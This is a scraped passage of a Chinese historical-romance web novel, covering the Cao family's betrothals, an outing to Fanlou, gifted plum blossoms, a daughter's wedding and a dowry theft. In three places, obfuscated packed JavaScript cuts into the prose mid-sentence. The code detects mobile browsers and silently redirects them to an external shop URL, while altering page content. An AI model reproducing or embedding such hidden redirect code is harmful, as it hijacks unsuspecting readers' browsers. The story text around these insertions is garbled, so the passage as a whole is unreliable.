李夫人立时像得了宝，一把拉住曹玉书的手，上上下下仔细端详，嘴里像抹了蜜：“啧啧啧，瞧瞧这通身的气派，这眉眼，这身段，我活了半辈子，汴京城里也少见这么标致齐整的可人儿。越看越爱，越看越稀罕！”那热络劲儿，跟见了亲闺女似的。 老太太忙道：“快屋里请，屋里暖和，这外头风刀子似的。” 众人进了暖阁，丫鬟奉上热腾腾的香茶。 李夫人捧着茶盏暖手，叹道：“说起来，咱们两家隔着山水，走动不便，疏远了这些年。可我这心里头啊，一直惦念着老太太您，更惦念着咱们玉姐儿。 这不，犬子近来在汴京公干，我便厚着脸皮跟了来，专程来瞧瞧您老人家，也看看我那未过门的儿媳妇。” 宋夫人心里冷笑，面上却不动声色：“李夫人说哪里话。既然植哥儿也在汴京，怎不叫他一同过来？都是自家人，也让我们见见。” 李夫人端起茶盏抿了一口，才笑道：“嗐！他一个外头的爷们儿，粗手笨脚的，来搅扰咱娘们儿说话做甚？没的添乱。” 宋夫人心中疑窦更生，追问道：“十几年不见，植哥儿想必也出息了，可曾娶妻？” 李夫人一听这话头，立刻来了精神，放下茶盏道：“可不就是为了这事嘛。我那孽障，至今还是个光棍汉，高不成低不就的。 这不就想起老国公爷当年金口玉言，给咱们玉姐儿和植哥儿定下的好姻缘。我想着，玉姐儿如今也到了年龄，花朵儿一般的年纪，正是好时候，咱们不如趁热打铁，把这桩天作之合的好事给定下来，早早办了，也了却咱们做父母的一桩心事。” 宋夫人试探着问：“听闻植哥儿自少好道，不乐婚宦，可有此事？” 李夫人脸上的笑容僵了一瞬，摆着手道：“哎哟哟，好姐姐，你这是打哪儿听来的混账话？作不得真。什么不喜婚配，那是没遇上可心的人儿，至于修仙访道嘛…不过是个雅好。谁还没点子癖好？无伤大雅，无伤大雅的。” “那不知植哥儿如今在何处高就？做些什么营生？”宋夫人紧追不舍地问。 李夫人挺了挺腰板，脸上露出几分得色：“托祖宗的福，靠着老侯爷当年留下的一点恩荫，犬子倒也混了个出身。如今在宫里头当差，做了个侍奉官儿。虽说官儿不大，好歹是天子近臣，体面着呢。” 这边晚书同四姐玉书实在待的无聊，懒得听她们大人闲话，便找了个借口退出来。 从里间掀帘子出来，见曹舆坐在廊下矮凳上，拿块细布，蘸了油，细细擦拭他那杆红缨枪的枪头子，擦得锃亮。红缨子也捋得顺溜，在日头底下红得晃眼。 玉书见了，抿嘴一笑，脚下生风小跑过去，趁他不备，一把将枪夺在自己手里，掂了掂，娇叱一声：“看招！”便使了个花架子，回身一搠，耍了段回马枪的架势。 曹舆也不恼，拍着大腿笑道：“好个泼辣丫头。恁般年纪，怎地就爱弄这些刀枪棍棒？女儿家绣绣花儿、扑扑蝶儿不好？” 曹玉书将柳眉一挑，把枪朝他怀里一掷，哼道：“我还想跟你上阵杀敌呢，若是教母亲知晓我这心思，怕不要气得背过气去。”说着，自个儿倒先笑了。 曹舆笑着起身，伸出指头在她脑门上轻轻一弹，又转头看向一旁站着的晚书，道：“今日天光正好，闷在家里作甚？不如随哥哥去城外跑马射猎，散散心？” 曹晚书听了，蹙眉细声道：“骑马？我……我不太会。” 曹舆一拍胸膛，豪气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239394|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“不妨事，哥哥教你。保管把你扶上马背，稳稳当当。” “哟，太阳打西边出来了？”玉书在一旁撇嘴笑道，“二哥如今倒像个人样儿了，不像从前，整日价只晓得在外头惹是生非，叫爹娘操碎了心。” “死丫头，找打！”曹舆作势要拧她的嘴，自己也笑了，转念又道，“罢了罢了，骑马也费力气。要不……去樊楼耍耍？许久没去，倒想念他家厨子的好手艺了。” 曹晚书一听去樊楼，眼睛登时亮了，拍手笑道：“这个好，这个好！就去樊楼！” 玉书指着她，笑得花枝乱颤：“我就知道，五丫头哪是想去耍，分明是馋虫勾了魂，惦记着樊楼里的吃食呢，哈哈…” 三人说说笑笑，便往樊楼而去。 及至登上顶楼雅间，推开雕花窗扇，凭栏下望，但见汴梁街市，车如流水马如龙，尽收眼底。 此时天色向晚，暮色四合，沿街铺面、楼阁檐角，早已高高挂起无数大红灯笼，映得碧瓦金檐流光溢彩，更显得樊楼富贵逼人，恍若仙宫琼宇。 玉书无意间瞥见墙上挂着一幅新裱的画像，便走近了细瞧。画上那人身穿月白圆领袍，气度威严。她看了旁边题款，才知画中是当朝天子。 正瞧着，跑堂的小二托着个漆盘，吆喝着进来：“客官，您点的糟鹅掌、煨鹿筋、鲜虾脍、并时新果子来喽，请慢用。咱家还有窖藏的上好眉寿酒，那真是琼浆玉液，透瓶香，几位官人小娘子，可要筛上一壶来尝尝？” 曹舆摆摆手：“酒便罢了。” 曹玉书却道：“上回尝过，味儿倒醇厚。小二，筛一壶眉寿来。” 这时雅间门口走过一行人，打头一位少年郎，约莫二十上下，身穿月白云纹圆领袍，腰束玉带，面如冠玉，目似朗星，端的是风度翩翩。 玉书一眼瞥见，心头一跳，忙用胳膊肘使劲捣了捣正低头看菜的曹晚书，压着嗓子急道：“五丫头，快瞧，那个人、那个人像不像方才墙上画像里的官家？” 曹晚书被她捣得生疼，顺着她目光望去，只见那少年郎侧影，果然眉目间与画像有几分神似，不由得也看住了，喃喃道：“是…是有些像。” “我的天爷，该不会真是官家吧？” 曹舆嗤笑一声，端起茶碗啜了一口：“官家何等尊贵，岂会轻易来这喧闹地方，妹妹莫要胡思乱想。” 他话刚出口，自己猛地一顿，眼睛瞪得溜圆，看向曹玉书：“慢着！你……你该不会是瞧上刚才那小白脸了吧？” 曹玉书被他道破心思，粉面飞红，又羞又恼，跺脚道：“你浑说什么！我……我亲事都定了李家！再胡说，看我不撕了你的嘴！” 正闹着，曹舆眼角余光扫到一人，忙站起身，堆起笑迎上去：“哎哟，这不是二表哥么，真真是巧了。” 那边被唤作二表哥的，正是安亭蕴。 21. 赠花、动情 安亭蕴正与他人凭栏闲话，忽闻身后有人唤道：“二表哥！” 他回头一看，见曹舆笑吟吟立在廊下，身后还跟着曹家两位表妹。 安亭蕴面上顿时浮起笑意，拱手道：“舆哥儿，你不是在边军效力么，怎生回京来了？” 曹舆紧走几步上前，压低声道：“嗐，原是随军入京公干的，交割了军务，兵部那边给了几日假，便赶紧家去磕个头。”说着又笑问，“二表哥今日也来樊楼，是同窗宴饮？” 安亭蕴答道：“与几位同年小聚。”说话间，目光越过曹舆，落在后面跟过来的曹晚书身上。 许久不见，这小表妹出落得愈发标致。乌云般的秀发挽着时新髻儿，面容白皙，腮边透着一抹淡淡的红晕。 安亭蕴心头不由得一荡，像被鹅毛轻轻搔过一般。 曹晚书与曹玉书走到近前，敛衽行礼，齐声道：“二表哥安好。” 安亭蕴忙还礼不迭，正要说话，隔壁雅间门帘掀起，一个俊逸男子探出半个身子唤道：“楚尧，快进来呀，酒都温好了。” 楚尧是安亭蕴的字。 玉书抬眼仔细一瞧，说话的是方才在廊下远远见过一眼的少年郎。如今正面相对，更觉丰神俊朗，通身的气派不凡，绝非寻常富贵人家的子弟。 安亭蕴心头一凛，忙应道：“就来，赵兄。”将险些脱口而出的“官家”二字，硬生生咽了回去。 曹舆见状，连忙拱手道：“表哥既有贵客，小弟就不叨扰了，改日再叙。”说着回头招呼两位妹妹，“咱们且往那边去，莫耽误了表哥的正事。” 安亭蕴也拱手还礼，目光在曹晚书脸上流连了一瞬，方道：“改日定当登门，给老太太请安，拜见舅舅、舅母。” 是夜，曹府内宅。 曹望刚在丫头服侍下洗了脚，拿块干布巾子擦着。 柳姨娘挨着床沿坐了，手里绞着一方帕子，一脸愁容地絮叨起来：“老爷，大姐儿嫁了人，四姐儿的亲事也定了李家，只等吉日。如今就剩咱们晚丫头，眼瞅着都及笄了，这终身大事还没个着落。再这么耽搁下去，好人家都被人挑拣尽了。我这两日眼皮子直跳，心里头七上八下的，总不踏实。” 曹望被她念得心烦，将布巾往盆架上一搭，没好气道：“先前不是与安亭蕴说定了么？待他立稳了根基，自然就来提亲了。晚书是幺女，上头姐姐还没出阁呢，你整日价到底急个什么劲？” 柳姨娘声音越发急切，挪了挪身子，凑近了些：“我能不急么？您想想，安亭蕴近来书信都稀少了，别是把当初的许诺忘到九霄云外去了罢？ 男人家的心，最是靠不住！再者说，如今正值国丧，四姐儿那头的亲事，夫人还说要等过了百日再议吉期呢。咱们晚丫头的事，若不早些定下来，等国丧满了，好人家可都被人抢光了！” 曹望被她聒噪得火起，他前夜因公务熬了个通宵，今日又忙了一整天，此刻眼皮子直打架，只想倒头就睡，偏生这妇人絮叨不休。 他皱着眉道：“安家哥儿是正经读书人，前程远大，岂是那等背信弃义之徒。再说了，便是没有他，难道晚书就嫁不出去了？一家有女百家求，前日夫人不还提起，她娘家侄儿冯准，这孩子用功上进，还中了举人呢，家底也殷实得很。你少在这里絮叨，让我清静睡一觉。”说罢，吹熄了桌上的灯烛，翻身朝里，扯过锦被蒙头便睡。 柳姨娘被他劈头盖脸一顿抢白，又见他动了真怒，吓得噤了声，只敢悄没声地爬上床，挨着他躺下，还是翻来覆去睡不着。 没过几日，安亭蕴备了厚礼，登门拜访曹家。 他给曹老太太带的是上好的山东阿胶、长白山老参，并几匣子滋补膏方；给几位表妹的则是时新的苏杭绸缎，精巧宫花，还有几匣子樊楼新出的细巧点心。门子报了进来，曹望连忙叫人开了中门，亲自迎了进去。 曹老太太坐在上房暖阁的炕上，炕桌上摆着几碟子细点。她招手唤安亭蕴近前，拉着他的手细细端详，叹道：“好孩子，瞧着清减了些。你母亲身子骨可还好些了？上回听人说她又犯了咳疾，我这心里头一直惦记着。” 安亭蕴眼中透出一丝黯然，低声道：“回老祖宗的话，前年略好些，谁知今年开春以来，旧疾复发，竟是愈发沉重了，汤药总不见大好。我日夜悬心，只恨不能替了母亲。” “唉……”老太太拍着他的手背，长叹一声，“怎就落下这缠人的病根儿！苦了你，也苦了她自个儿。你母亲年轻时也是极爽利的人，如今这般，叫人心疼。” 安亭蕴强忍心绪，又道：“母亲近来思乡情切，总念叨着要回山东老家去养着。兄长和妹妹已在来京的路上，我打算等他们到了，便奉母亲回济州故里，也好让她老人家在熟悉的地方，安心颐养天年。” 宋夫人正坐在一旁喝茶，听了这话，忙凑过来接口道：“回去也好，落叶归根，老家水土养人，她心里也舒坦些。只是你离得就远了，不能常在膝前尽孝。” “舅母说的是。”安亭蕴点头称是。 宋夫人眼珠转了转，脸上堆起笑，试探着问道：“蕴哥儿啊，你是个念旧重情的好孩子。当年你在这屋里说的话，可还记得？” 她一边说，一边拿眼瞟了瞟坐在下首低头摆弄衣角的曹晚书。 安亭蕴岂会不明其意，微微一笑，目光也似无意般扫过曹晚书的侧脸，道：“舅母放心，甥儿许下的诺言，字字句句都刻在心上，岂敢或忘？” 他话锋一转，看向坐在另一侧的曹玉书：“只是玉书妹妹的亲事尚在眼前，甥儿若先一步与晚书妹妹定下，也怕冲撞了玉书妹妹的好事。” 宋夫人听了这话，连连点头：“蕴哥儿虑得是，虑得是。 安亭蕴续道：“况且甥儿蒙官家隆恩，下月便要赴任兴化府，担知州之职，兼总督一方河务。这是新君登基后的头一批简放，甥儿不敢怠慢。” 宋夫人听他说前面那些话，心里便有了底，听完他后面说的这些，便更加兴奋了起来，连忙问：“这一去得几年光景？” 安亭蕴沉吟道：“河工事务繁杂，非一朝一夕之功，估摸着总得三年上下。” “三年…？”宋夫人与坐在主位的曹望不约而同地对视了一眼。 宋氏眼中是既喜其前程远大，又忧其时日之长。 曹望倒是从容地捋着胡须，露出赞许的笑容：“好！自古一代帝王之兴，必有一代名世之臣佐之。你此去地方，切记要上体天心，下恤民情，为官一任，便当造福一方。” 安亭蕴起身躬身应道：“甥儿谨记舅舅教诲。”直起身时，目光又不由自主地瞥向曹晚书。 老太太看在眼里，心里明白了几分，只是含笑不语。 时值隆冬，窗外雪花纷飞，屋内炭火正旺，熏得暖意融融。 众人先是议论些朝廷新政，后又说到明年春闱。闲话一阵，日影西斜，各人推说有事，陆续散去。最后暖阁里只剩安亭蕴与曹晚书二人，并几个伺候的丫鬟。 曹晚书见室内陡然清静，心下不免局促，低头抠着手指头，也想找个说辞离开，但一想安亭蕴是客，若把客人孤零零的撇在一旁，也太失礼了一些。 安亭蕴抬眼望来，率先开口道：“五妹妹近来可安好？” “托表哥的福，一切都好。”曹晚书答着，一时又无话。 偏生二人又是相对而坐，目光不知该落往何处。 他见曹晚书羞怯，微微一笑，目光转向案上青瓷瓶内插着的花木：“这花不错。” 得到夸奖，曹晚书心头一喜，笑着说道：“这是我插的花。” “只是...”安亭蕴凝神细观，“这绿叶红果略显累赘，尤以这片绿叶为甚。” 曹晚书依言将多余枝叶除去，只留一株红叶伴枯木。再观之，果然意境陡升。 “这般一改，倒显出几分孤高清冷来。” 安亭蕴看着她笑了笑，问：“五妹妹喜欢插花吗？” “不过消磨光阴罢了。”她垂眸浅笑，打趣他，“比不得表哥金榜题名，建功立业。” 他温和地笑道：“妹妹过谦了。我家里有株红梅，今年开得极盛。若妹妹不弃，可折几枝相赠。” “真的吗？我正想找些红梅呢，只是家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248641|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的红梅开的不太好，挑来挑去没有几枝能用的。” 她清澈的眼睛盯着他瞧，安亭蕴耳朵一红，呆呆地久不作答。 这时，门帘子突然一掀，曹兰书笑盈盈地进来，看见安亭蕴在座，笑道：“二表哥来了？我说今儿个怎么喜鹊在枝头叫呢。” 安亭蕴忙起身见礼。 兰书摆摆手，自去挨着曹晚书坐下，悄悄捏了捏她的手，附耳低声道：“可巧我来了，没扰了你们的好事罢？” 曹晚书羞得满面通红，拧了她一下，不敢言语。 又坐了一回，安亭蕴起身告辞。 曹望送至二门，宋夫人和几位女眷送到穿堂。曹晚书站在廊下，望着他远去的背影，心头忽生一丝莫名情愫，说不上是什么滋味，只觉得心里空落落的。 待到第二日，天才蒙蒙亮，果子便喜滋滋地抱着一盆开得正艳的红梅走进来，胳膊上还挎着个大竹篮子，篮子上面盖着一块青布。她把花盆放在桌上，又将篮子放下，掀开布，里面整整齐齐摆着七八个青釉瓷瓶，还有各色花枝，有红梅、腊梅，还有几枝不知名的带绿叶的枝条。 “姑娘，你看！这些都是安公子一早就托人送来的。”果子笑得眼睛眯成一条缝，“安公子还说，这些花够姑娘用一阵子的了。送东西的小厮说，他家公子特意吩咐，要大早送来，怕晚了花儿不鲜。” 曹晚书心里一热，拿起一个青釉瓷瓶看了半天，釉色青翠欲滴，不由得轻声道：“这青釉瓷瓶色泽真好。” 玉书笑着走进来，瞧见这场面，惊讶道：“呀！从哪儿弄的这么多花儿？”她说着凑到篮子前，拿起一枝红梅闻了闻，“这梅香得这样好，定是好品种。” 曹晚书答道：“昨儿二表哥不是来了么，就聊起插花的事情，他答应送我红梅。我以为只是口头上说说，谁承想他竟记在心里，不但送了整盆梅花来，还搭上这些瓶儿罐儿的。” 玉书抿嘴一笑，打趣道：“哟，二表哥倒是个有心人。我瞧着他这回打量你的眼神，可与从前大不一样了。昨儿在暖阁，他那眼睛，恨不能长在你身上。”说着便学安亭蕴的样子，痴痴地盯着曹晚书看。 曹晚书羞得追着要打她，姐妹俩笑闹了一阵。 且说宋夫人这几日可真是忙坏了。既要张罗曹玉书的嫁妆，又要与李家商议国丧过后办喜事的种种事宜。李家那边也知礼数，特意送了信来，说一切但凭亲家吩咐，只等国丧满了，便择吉日迎娶。宋夫人心里一块石头落了地，越发打起精神操办起来。 老太太那边也遣人送来了添箱的礼：赤金宝钗花钿一个，赤金嵌翡翠滴珠一对，还有一对白玉镯子，说是当年自己陪嫁的，如今给了玉书。此外还有田产铺子的契纸两张，人参、丹参、何首乌、灵芝等药材各若干，装了满满一匣子。宋夫人一一登记在册，心里盘算着到时候宴席要摆多少桌，请哪些亲戚，忙得脚不点地。 这日晚间，曹望公务完回来，宋夫人便与他商议：“玉姐儿的嫁妆单子我理出来了，你瞧瞧可还妥当？李家那边送了聘礼来，倒也丰厚，咱们这边不好太简薄了。” 曹望接过单子看了一遍，点头道：“也罢了。只是老太太给的那些东西，你仔细收着，莫要弄混了。还有，安亭蕴那边，你可探了口风不曾？” 宋夫人笑道：“还用你说？我早瞧出来了，安亭蕴对咱们晚丫头，那是上了心的，你没见他昨儿个那眼神。只是他要去兴化赴任，这一去三年，晚丫头等得等不得？再者说，他母亲那个病，也不知怎样。” 曹望沉吟道：“安亭蕴是去外任做官，不比在京里混日子。三年期满，回来必有升赏。到时候晚丫头也不过十八九岁，正当年纪。至于他母亲，那也是没法子的事，谁家没个生老病死的。” 宋夫人点头道：“我也是这么想。晚丫头是柳姨娘的心头肉，这事得跟她说一声，免得她整日价瞎操心。” 曹望道：“很是。你明日跟柳姨娘说一声，叫她安下心来，莫要再絮絮叨叨的。我这几日被她念得头疼。” 窗外月色溶溶，曹府内宅里，各人怀着各人的心思，渐渐沉入梦乡。 22. 当场捉赃 很快就要到了曹家四姑娘，曹玉书出阁的日子。 因先帝薨逝，举国服丧，凡婚嫁之事，一概搁置。如今国丧虽已除了，到底余韵未散，是以曹、李两家商议定了，婚事便从简办理，不可过于张扬。 饶是如此，曹府上下也忙了半月，扫洒庭院，张灯结彩，虽不敢用大红绸子扎得满处都是，却也换了绛色的，远远瞧着，倒有几分喜气。 曹晚书在屋里坐了半日，听着外头隐隐约约传来的说话声，比寻常人家办喜事冷清了许多，心里头倒有些说不出的滋味。 她自从来到这本书里，与四姐姐在一处长大，比亲姐妹还亲上几分。 眼瞧着四姐姐要出门子了，往后便是人家的人，再不能像从前那般，一处顽耍，一处说梯己话儿，心里便酸溜溜的，很不受用。 因想着，好歹得送四姐姐些什么。她自己的梯己原不多，翻来覆去寻了半日，只寻出一件貂裘来，还是年下舅舅来时给她的，毛色油亮，轻软厚实，她素日里连摸都舍不得多摸一下，只压在箱底，时不时拿出来瞧瞧。 如今拿出来，虽有些舍不得，但想着是给四姐姐的，便也舍得下了。 除却貂裘，还有一对鸳鸯枕。这鸳鸯枕原是冷元子绣的底子，冷元子是针线房上最巧的丫头，绣出来的鸳鸯，活灵活现的，跟凫在水上的一般。 晚书只接过来，沿着绣好的纹路，细细地缉了一圈边儿，也算是她的一份心意了。 看看日头，估摸着四姐姐那边也该清闲些了，便抱着东西，往曹玉书屋里来。 曹玉书正坐在窗前发呆，打扮得齐齐整整，一头乌油油的青丝挽了起来。只是眉眼之间，不见多少喜色。 听见脚步声，回过头来，见是曹晚书，便笑道：“五妹妹，你来得正好。我正闷得慌呢，你来陪我说说话儿。” 曹晚书将东西放在桌上，先不说旁的，只道：“四姐姐，这是年下舅舅送我的貂裘，我一直舍不得穿，今儿拿来给你添妆。还有这对鸳鸯枕，是我自己缝的，虽不好，也是我的一点子心意。祝你和四姐夫恩恩爱爱，白头偕老。我没有多少值钱的东西，你别嫌弃。” 曹玉书伸手摸了摸貂裘，又拿起那鸳鸯枕细细看了一回，点头笑道：“这样好的东西，我怎会嫌弃？只是看着这枕头，我方觉着，咱们是真的都大了。 一晃儿的工夫，你也要备嫁妆，我就要出门子，再不能像小时候那般，一处抓子儿，一处放风筝，一处淘气，叫母亲骂了，又一处抹眼泪了。”说着，秀眉微微蹙了起来，眼里头汪着些泪光。 曹晚书听了这话，心里也是一酸，强笑道：“是呢，咱们都长大了。” 玉书瞧她这副模样，倒先忍不住笑了，拿帕子拭了拭眼角，道：“你别只顾着替我难过，你也快了呢。听母亲说，爹爹有意将你许给二表哥。” 曹晚书一怔，道：“啊？” 玉书道：“当年二表哥金榜题名后，这事儿便隐隐约约定下来了。你竟不知道么？” 曹晚书摇摇头，她真是一丝儿也不知道。 只是前些日子表哥来时，她在一旁听着他们说话，倒听出些意思来。 且素日里也常听人说起，自己将来的姑爷，是宋夫人的亲侄子，叫做冯准的。 她便问道：“我只恍惚听说，爹爹要把我嫁给母亲的亲侄子冯准。可母亲姓宋，怎么她的侄子，倒姓冯呢？” 曹玉书便与她分说：“这你就不知道了。母亲原本是姓冯的，只是极小的时候，外祖母便与外祖父和离了，带着母亲改嫁到宋家，这才改了姓宋的。 虽改了姓，可冯家的亲戚，母亲一直都没断过来往。那位冯准表哥，我小时候见过一回的。前些日子还听母亲说，他和二哥哥一道进了贡院考试呢。若论品性，是信得过的，你往后嫁了他，断也不会受委屈。” 曹晚书听了，脸上便有些热热的，忙岔开话道：“也不知二哥哥这回考得如何。李姨娘为了二哥哥能够金榜题名，整日里烧香拜佛，磕头都磕出茧子来了。” 玉书道：“二表哥说了，以二哥哥的文采，是不愁考不上的。”她心里也盼着曹辕能中。 若曹辕能金榜题名，三哥曹舆在军中又立了功，底下还有个小弟弟曹轼，听说书念得也好，如此一来，曹家何愁不兴旺起来？ 姐妹两个正说着梯己话儿，忽听外头有人敲门，是邹妈妈的声音：“四姑娘，天不早了，夫人吩咐，该回去歇着，养足精神，明儿好打扮。”因着国丧刚过，她也不敢说什么漂漂亮亮的吉利话。。 玉书应道：“知道了，就来。”又对曹晚书道，“妹妹，你先回去罢，明儿再来瞧我。” 曹晚书便起身告辞。 次日，天光晴好，倒是个难得的好日子。 天才蒙蒙亮，曹玉书屋里便忙开了。 邹妈妈拿着把金梳子，站在曹玉书身后，一面替她通头，口里念着那吉祥话儿，也不敢高声，只低低地道：“一梳，梳到尾；二梳，白发齐眉；三梳，梳到儿孙满地。” 曹玉书坐在镜前，由着她们摆布。开脸，梳头，戴上凤冠，穿上嫁衣。镜子里的人，渐渐变得不像自己了。 外头没有炮竹声，也没有敲锣打鼓的响动，只偶尔传来几声宾客低低的说话声。 国丧刚过，百日之内不得举乐，是以亲事虽办，却不敢张扬。 前院里，四姑娘的嫁妆一抬一抬地摆了出来，朱漆箱子，黄铜锁扣，整整齐齐地排了半条街。 箱笼里头，装的是各色绸缎、四季衣裳、头面首饰、家具摆设，满满当当的，都是宋夫人这几年来一点一点攒下的，只为给亲生女儿撑一撑脸面。 曹轸和曹轴两兄弟，也混在人群里头看热闹。 这两位公子原是王夫人的儿子，素日里不务正业，只爱赌钱吃酒，这会子站在那儿，眼珠子却不在那些箱笼上，只滴溜溜地往箱子里头瞧。 一抬抬的箱笼，有的盖得严实，有的却敞着盖儿，专给人瞧的。 里头一锭锭的雪白银子，一支支的赤金钗子，一颗颗的滚圆珠子，直晃得他眼都花了，心里头便痒痒起来，跟猫抓的一般。 他拿胳膊肘子捣了捣旁边的曹轴，用眼神往那一抬装满了珠宝的箱子努了努。 曹轴顺着他的目光一看，登时会意。 这两兄弟，向来是蛇鼠一窝的，干这种事也不是头一回了。 府上的人虽多，但来来往往的，谁也不会留心他们两个。曹轴便往旁边站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259105|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了站，装作看别处，实则是替他望风。 曹轸瞅着个空子，挨挨蹭蹭地挪到箱子跟前。 他趁着没人往这边看，大手往箱子里头一捞，也顾不得捞着的是什么，只觉入手滑腻，便往怀里塞。又捞一把，又塞进去。 贪念一上来，便什么也顾不得了，只恨爹娘少生了两只手。 曹轴在外头瞧着，眼瞅着二门上有人出来，像是曹舆的身影，唬得他连忙给曹轸递眼色，又是咳嗽，又是努嘴的。 可曹轸此刻正捞在兴头上，眼里只有那些金珠宝贝，哪里瞧得见他的暗号？ “曹轸！你鬼鬼祟祟地做什么！”曹舆一声低喝，跟半空里打了个闷雷一般，几步便蹿了过来。 曹轸吓得一个激灵，手一抖，怀里揣着的东西稀里哗啦掉出来几件，滚落在地上，有金镯子，有珠串子，还有几块碎银子。 曹舆低头一看，登时怒不可遏，眼睛都红了，一把揪住曹轸的衣领，挥拳便打，一拳擂在他脸上，咬牙低声骂道：“下作东西！这是我妹妹的嫁妆，你也敢偷！” 曹轸哪里禁得住他这一拳，脚下一个踉跄，摔倒在地。 这一摔，怀里头揣着的东西，哗啦啦洒了一地，金的金，银的银，珠的珠，翠的翠，铺了一小片。 来往的宾客见了，都唬了一跳，纷纷驻足观看，交头接耳地低低议论。 晚书和兰书听见动静，也赶忙跑了过来。 曹兰书一见是她那两个不成器的哥哥，脸先臊红了半边。 晚书一看这光景，心里头雪亮，忙上前拉住曹舆的胳膊，急道：“三哥哥，快别打了。府上都是客，叫人瞧见了，传到外头去，岂不笑话咱们曹家？有什么事，禀明了老太太，自有老太太做主，何苦在这里动粗？” 曹舆气得呼呼直喘，一脚踩在曹轸肚子上，不肯松劲，压低嗓门嚷道：“五妹妹你起开！我今儿非得打死这个混账东西！” 晚书一面蹲下身，将洒落的珠宝一件件捡起来，放回箱子里，一面劝道：“三哥哥，今儿是四姐姐大喜的日子，你便是打死他，又能如何？反倒闹得大家都不痛快。老太太最疼四姐姐，难道还会轻饶了他们不成？” 这话倒提醒了曹舆。 他看了看四周那些指指点点的人，又想了想自己妹妹今儿出门子，确实不宜闹出人命官司来。只得狠狠瞪了曹轸一眼，收了脚，往后退了一步，胸口气得一起一伏的。 兰书脸涨得通红，连连替曹轸赔不是，说着软话。 曹舆瞧着她，摇头道：“兰妹妹，又不是你的错，你何苦替他赔罪？” 说着，又转过身，拿眼瞪着刚从地上爬起来的曹轸，和躲在一边的曹轴，恨声道：“我这就去回明了老太太，看老太太怎么发落你们！” 曹轴见他发怒，心里也怕，忙上前一步，涎着脸道：“我哥哥他，他是吃醉了酒，发酒疯呢，不是成心的。咱们好歹是一个府里住着，打小儿一处玩的，你就饶了他这一遭罢，别告诉老太太了。” 他不提“一处玩”还好，一提这话，曹舆更是气往上撞。 他想起从前自己不成器时，跟着这两兄弟吃喝玩乐，为非作歹，险些被他们带累坏了名声，心里便恨得什么似的。 23. 新郎官被吓跑 李植骑在马上，面色阴沉，一双剑眉紧紧锁着，眼望着前头，又似什么也没望进去，活脱脱是赴刑场的模样。 李夫人见他这般，急得不行，趁着众人不备，忙凑上前去，扯了扯他的衣袖，低声道：“我的儿，今儿是你大喜的日子，你这般愁眉苦脸的，叫人瞧见了，算怎么回事？曹家四姑娘，我亲自相看过的，生得柳眉杏眼，行动举止也端庄，配你原是绰绰有余。你总归是要娶妻生子，难不成，你为了你那些丹啊道啊的，真个一辈子不娶媳妇？” 李植听了这话，嘴角方扯出一丝苦笑：“儿子早已说过，不愿娶亲。母亲偏要去曹家说媒。如今木已成舟，还说这些做甚么？” 李夫人心里头又急又气，当着这许多人的面，又不好发作，只得压下性子，催促迎亲的人快些走。 曹府这边，宋夫人正急得在二门里打转，听得远远传来动静，悬了一早上的心，这才稍稍放下些。忙命人去瞧，果然是迎亲的队伍来了。 一时，曹玉书由邹妈妈扶着，从闺房出来。穿着嫁衣，头上戴着沉甸甸的凤冠，脸上敷了脂粉，越发衬得人如芙蓉一般。 她先向父亲曹望、母亲宋夫人行了大礼，又抬头看了看这住了十几年的院子，眼眶里便汪了一汪泪。 “四姑娘，走罢。”邹妈妈心里也酸，面上却笑着，一步一步扶着她往门外去。 到了大门外，李植已下了马。他牵过曹玉书的手，引着她走到马车前，替她掀开了帘子。 曹玉书低着头，只看见他一只修长的手，和大婚的袍袖。 正要上车，一个人抢上前来。 曹舆拦住李植，也不顾旁人的眼光，沉声道：“我妹妹自幼娇弱，在家时，我们连句重话都舍不得说她。你如今娶了她去，若敢欺负她，可别怪我不客气！” 李植愣了愣，抬起眼来看了看他，嘴唇动了动，终究一句话也没说。 曹舆等了半晌，不见他言语，心里虽恼，也无可奈何，只得退后一步，眼睁睁看着马车辚辚地去了。 送走了新娘子，客人也渐渐散去，热闹了一日的院子，慢慢安静下来。 祠堂里还亮着灯。 曹老太太一脸威严地坐在上首椅子上，身板挺得直直的，俯视着地上跪着的曹轸、曹轴二人。一个低着头，一个东张西望。 “好个没王法的东西！”老太太将手里的戒尺往案上重重一拍，吓得曹轴浑身一哆嗦，“连亲妹妹的嫁妆都敢偷摸！” 她喘了口气，转向站在一旁的曹望：“你大哥去得早，留下这两个孽障。你是做叔叔的，今日就交给你管教。” 曹望应了一声，伸手去接戒尺。 